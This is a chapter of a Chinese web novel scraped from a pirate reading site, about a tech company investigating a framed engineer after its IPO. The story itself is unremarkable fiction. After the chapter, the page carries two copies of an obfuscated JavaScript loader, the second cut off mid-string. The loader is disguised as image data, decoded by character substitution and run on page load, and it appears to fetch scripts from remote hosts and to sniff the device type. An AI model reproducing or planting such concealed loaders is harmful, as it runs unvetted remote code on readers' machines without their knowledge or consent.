首页
番外第41章镜中谜影
返回
关灯 护眼:关 字号:小

番外第41章镜中谜影

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    番外第41章镜中谜影(第1/2页)
    上市敲钟的钟声仿佛还在耳畔回响,龙胆科技纳斯达克挂牌后的第三个月,一个寻常的周二下午。
    林晚正在整理自己的工位。她的调岗申请已经批下来了,从核心的数据安全审计部门,转到相对边缘的社会责任部,负责数据安全公益科普项目。桌上堆积如山的加密硬盘和代码文档将被归档,取而代之的是公益计划书和科普手册。
    “真要走啊?”曹辛夷的声音从门口传来,她抱着一盆绿萝,斜倚在门框上。
    林晚抬起头,笑了笑:“换个环境,对大家都好。”
    曹辛夷走进来,把绿萝放在林晚桌上:“送你的。听说新办公室朝北,放点绿植增添生气。”
    “谢谢。”林晚抚摸着绿萝的叶片,两人之间有一种微妙的默契。自从发布会上的“反戈一击”后,林晚与龙胆草、曹辛夷的关系始终保持着礼貌而疏离的距离。她主动选择退出那个权力与情感交织的中心漩涡,给自己,也给所有人空间。
    “其实你不用...”曹辛夷欲言又止。
    “我需要。”林晚打断她,眼神坚定,“辛夷,我在这里的每一刻,都会提醒大家那段不堪的过去。调离核心部门,对公司的稳定有益,对我的...自我救赎,也是必要的。”
    曹辛夷叹了口气:“龙胆草他...”
    “他是公司的灵魂,你是他最好的搭档。”林晚微笑,“这样很好。”
    两人正说着,姚浮萍匆匆路过门口,瞥见林晚在收拾东西,脚步顿了顿,最终还是走了进来。
    “要走?”姚浮萍的语气依然冷硬,但已没有当初的敌意。
    “调岗。”林晚纠正道。
    姚浮萍沉默片刻,从口袋里掏出一个U盘,放在桌上:“‘五彩绫镜’的测试版加密模块,权限已经调整。你在公益项目中可能会用到基础版的隐私保护功能。”
    林晚有些惊讶,接过U盘:“谢谢。”
    “别误会,我只是不想公司的技术被不专业的人乱用。”姚浮萍转身要走,又停下脚步,“...新部门如果需要技术支持,可以发邮件。”
    看着姚浮萍离开的背影,曹辛夷轻笑:“她这算是...和解的信号?”
    “也许是吧。”林晚将U盘小心收好。
    就在这时,九里香的助理急匆匆跑来:“林晚姐,九总监请您马上到人力资源部一趟,有紧急情况。”
    ---
    人力资源部的会议室里气氛凝重。九里香站在白板前,上面贴满了打印出来的聊天记录截图和邮件片段。姚厚朴和两名IT安全部的同事正在检查一台笔记本电脑。
    “发生什么事了?”林晚推门而入。
    九里香神色严肃:“我们可能又有一个内鬼。”
    林晚心头一紧:“证据?”
    “匿名举报。”九里香指向白板,“今天早上,我的工作邮箱收到三封匿名信,指控研发部高级工程师王明远向竞争对手泄露‘五彩绫镜’的测试数据。”
    姚厚朴抬起头补充道:“我们检查了王明远的办公电脑和工作邮箱,发现了一些可疑的远程登录记录,还有几个加密的对外发送记录。但具体内容因为加密级别很高,暂时无法破解。”
    “王明远呢?”林晚问。
    “已经请到休息室了,由保安陪同。”九里香揉了揉太阳穴,“麻烦的是,王明远是公司的老员工,跟随龙胆草创业至今,五年工龄,表现一直很优秀。上个月刚被提拔为研发小组组长。”
    林晚走到白板前,仔细查看那些截图。举报信写得相当详细,列出了具体的时间、泄露的数据类型、甚至预估的泄露路径。太详细了,详细得有些可疑。
    “匿名举报人的身份能追踪吗?”林晚问。
    姚厚朴摇头:“用的是海外代理服务器,发送时间在凌晨三点,显然是故意隐藏行踪。”
    “王明远自己怎么说?”
    “他完全否认,声称被人陷害。”九里香苦笑,“但按照公司规定,有明确指控和初步证据的情况下,我们必须启动调查程序。问题是...”
    “问题是在公司刚刚上市,股价还在敏感期的时候,爆出这种丑闻会造成巨大震动。”林晚接过话头。
    九里香点头:“而且,如果王明远真是内鬼,说明荆棘科技或者其他竞争对手的渗透比我们想象的更深;如果他不是,那举报者的目的就很值得怀疑了——要么是私人恩怨,要么是想制造混乱。”
    林晚沉思片刻:“我能看看那些加密的发送记录吗?”
    姚厚朴将笔记本电脑转向她。屏幕上显示着一串串代码,林晚眯起眼睛仔细查看。突然,她注意到一个细节:“这个加密协议...有点眼熟。”
    “你见过?”姚厚朴追问。
    林晚没有立刻回答,而是打开自己的手机,快速翻找着什么。几秒钟后,她调出一份文档:“这是我之前整理的荆棘科技常用技术特征汇总。看这里——他们习惯在加密数据包的尾部添加一个特定的校验码,作为身份识别。虽然很隐蔽,但如果知道规律,就能看出来。”
    姚厚朴凑近对比,眼睛逐渐睁大:“你是说...这些对外发送记录,用的是荆棘科技的加密协议?”
    “可能性很大。”林晚的表情凝重起来,“但这就更奇怪了。如果王明远真是荆棘科技的内鬼,他为什么要用对方标志性的加密方式?这不是明摆着告诉别人自己的身份吗?”
    九里香也意识到了问题所在:“除非...他想被我们发现?”
    “或者是有人想让我们以为他是荆棘科技的内鬼。”林晚补充道。
    会议室陷入沉默。这个发现让整个事件变得更加扑朔迷离。
    “我需要和龙胆草汇报。”九里香拿起内线电话。
    “等等。”林晚拦住她,“在弄清楚真相之前,消息最好控制在最小范围。上市公司的风吹草动都可能被放大解读。”
    “那你的建议是?”
    林晚看向姚厚朴:“能破解这些加密数据的内容吗?哪怕只是一部分?”
    姚厚朴皱眉:“需要时间,而且不一定能完全破解。但如果能确定加密协议确实是荆棘科技的,我们可以尝试用他们常用的几个密钥进行碰撞测试。”
    “需要多久?”
    “最快也要24小时。”
    “太慢了。”林晚摇头,“举报者选择在这个时间点发难,很可能已经准备好了后续动作。我们必须更快。”
    她站起身,在会议室里踱步,大脑飞速运转。突然,她停下脚步:“举报信里提到的一个细节——说王明远在‘星海咖啡馆’与不明身份的人交接数据。星海咖啡馆在我们公司两个街区外,但更重要的是,那家咖啡馆的Wi-Fi是我们公司提供的商用网络。”
    姚厚朴立刻明白了她的意思:“你是说,如果王明远真的在那里用我们的网络传输数据,服务器上会有记录?”
    “而且咖啡馆有监控。”九里香也反应过来,“我们可以调取那个时间段的监控录像,看看到底是谁在那里。”
    (本章未完,请点击下一页继续阅读)番外第41章镜中谜影(第2/2页)
    “双管齐下。”林晚拍板,“厚朴,你继续尝试破解加密数据;九总监,你以人力资源部的名义调取监控,但要注意方式,别打草惊蛇;我...我想和王明远谈谈。”
    九里香有些犹豫:“你现在不是调查组成员,而且你和他...”
    “正因为我和他没有直接利害关系,也许他能说些实话。”林晚平静地说,“放心,我知道分寸。”
    ---
    公司三楼的休息室里,王明远正焦躁地踱步。见到林晚进来,他先是一愣,随即露出复杂的表情。
    “是你啊。”王明远苦笑,“来看我这个‘内鬼’的狼狈相?”
    林晚在沙发上坐下,示意他也坐:“我不是来看你狼狈的,我是来听你解释的。”
    “解释什么?我什么都没做!”王明远情绪激动,“我在龙胆科技五年,从创业初期跟着龙总熬夜写代码,到后来带团队攻克一个又一个技术难关。我有什么理由背叛公司?”
    “匿名举报信里提到,你母亲重病需要手术,缺钱。”林晚平静地说出这个敏感信息。
    王明远的脸色瞬间苍白,整个人像被抽空了力气,瘫坐在椅子上。良久,他才低声说:“是,我妈心脏需要做搭桥手术,手术费要三十万。但我已经解决了,我把老家的房子卖了,加上这些年的积蓄,够用了。”
    “什么时候卖的房子?”
    “两个月前。”王明远抬起头,眼中有了泪光,“林晚,我知道你经历过什么。你应该明白,如果我真的要卖公司数据换钱,早就可以做了,何必等到现在?何必用这么拙劣的方式,留下这么多痕迹?”
    林晚凝视着他,判断着这些话的真实性。王明远的眼神中有委屈,有愤怒,但没有闪躲。
    “举报信里还提到了‘星海咖啡馆’。”林晚继续试探,“说你上周三下午三点在那里与人交接数据。”
    王明远皱眉思索,突然眼睛一亮:“上周三下午...我想起来了!那天我确实去了星海咖啡馆,但不是交接数据,是见了一个猎头。”
    “猎头?”
    “对,是‘天穹科技’的人,他们想挖我,开出了两倍的薪水。”王明远坦然承认,“但我当场就拒绝了。我可以给你看聊天记录,那天下午两点半我收到对方消息,三点见面,三点四十我就离开了。全程没有打开电脑,只用自己的手机看了几眼资料。”
    林晚心中一动:“那个猎头,你知道他的名字吗?”
    “姓陈,陈先生。他说他是天穹科技的高级人才顾问。”王明远回忆道,“但我查过,天穹科技根本没有这个人。当时我还觉得奇怪,现在想来...可能是有人冒充。”
    “你有他的联系方式吗?”
    王明远掏出手机,翻出一个电话号码:“就是这个。见面后我打回去过一次,已经是空号了。”
    林晚记下号码,心中已经有了一个模糊的猜测。她站起身:“王工,我需要你配合做一件事。”
    “什么事?”
    “暂时保持沉默,继续配合调查,不要对任何人提起我们今天的谈话内容。”林晚认真地说,“包括龙总和其他高管。能做到吗?”
    王明远犹豫片刻,重重点头:“我相信你。但我有个条件——如果查清真相,证明我的清白,公司必须公开为我正名。”
    “这是你的权利。”林晚承诺道,“我保证。”
    离开休息室,林晚直接去了IT安全部。姚厚朴还在尝试破解加密数据,进展缓慢。
    “有什么发现吗?”林晚问。
    姚厚朴摇头:“加密级别很高,不是常规的商业加密手段。更奇怪的是,这些数据包的格式非常规整,像是...故意做成容易追踪的样子。”
    “果然。”林晚冷笑,“厚朴,你先停一下。我想请你帮我查另一个东西。”
    “什么?”
    “查查公司近三个月所有员工的异常通讯记录,特别是与这个号码的通话或信息往来。”林晚把从王明远那里得到的号码递给姚厚朴,“重点查那些看似正常,但出现时间或频率有问题的联系。”
    姚厚朴虽然疑惑,但还是照做了。强大的内部监控系统开始运行,筛选着海量的通讯数据。
    等待结果的过程中,九里香那边有了突破。
    “咖啡馆的监控调出来了。”九里香在电话里的声音有些兴奋,“上周三下午三点,王明远确实在星海咖啡馆,但他对面坐着的人...你绝对猜不到是谁。”
    “谁?”
    “张弛。”
    林晚心中一震。张弛,那个因为第一次数据泄露事件被辞退的老员工,后来公开爆料公司“内部管理混乱”的人。他怎么会出现在那里?
    “监控能看清他们在做什么吗?”林晚追问。
    “距离有点远,但能看到张弛递给王明远一个文件袋,王明远打开看了几眼,然后两人交谈了几句,王明远就把文件袋还了回去,起身离开了。”九里香描述道,“整个过程大约十五分钟。”
    “文件袋...”林晚沉思,“王明远说那天见的是猎头,但如果是张弛冒充的...”
    “张弛为什么要冒充猎头接触王明远?而且偏偏在这个时候?”九里香也意识到了问题。
    就在这时,姚厚朴那边有了结果。
    “林晚,你给我的那个号码...”姚厚朴的声音有些异样,“过去三个月,这个号码与公司内部三个人的联系频率异常。除了王明远上周联系过一次外,还有两个人。”
    “谁?”
    “一个是已经离职的张弛,他们在两个月内有七次通话记录。另一个是...”姚厚朴顿了顿,“是研发部的另一个工程师,李浩然。”
    李浩然,这个名字让林晚瞳孔一缩。他是姚厚朴的徒弟,三个月前被荆棘科技高薪挖走,直接导致了“五彩绫镜”测试受阻。这件事曾被内部视为重大损失。
    所有的碎片开始拼凑起来。
    张弛、李浩然、冒充的猎头、荆棘科技的加密协议、过于详细的匿名举报...
    “这是一个局。”林晚缓缓说道,“有人想借王明远的事情,在公司内部制造混乱,分散我们的注意力。”
    “为什么?”九里香不解。
    “因为...”林晚看向窗外,龙胆科技的logo在夕阳下熠熠生辉,“有人不希望我们专注在‘五彩绫镜’的最终测试和上线。有人想在我们最脆弱的时候,再给我们一击。”
    她转身面对九里香和姚厚朴:“我可能需要见龙总。这件事,比我们想象的更复杂,也更危险。”
    夜幕降临,龙胆科技的办公楼依然灯火通明。而在城市的另一个角落,有人正盯着电脑屏幕上“匿名发送成功”的提示,露出了意味深长的微笑。
    镜子已经碎裂,但每一片碎片,都可能映照出不同的真相。
    而真正的对决,才刚刚开始。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 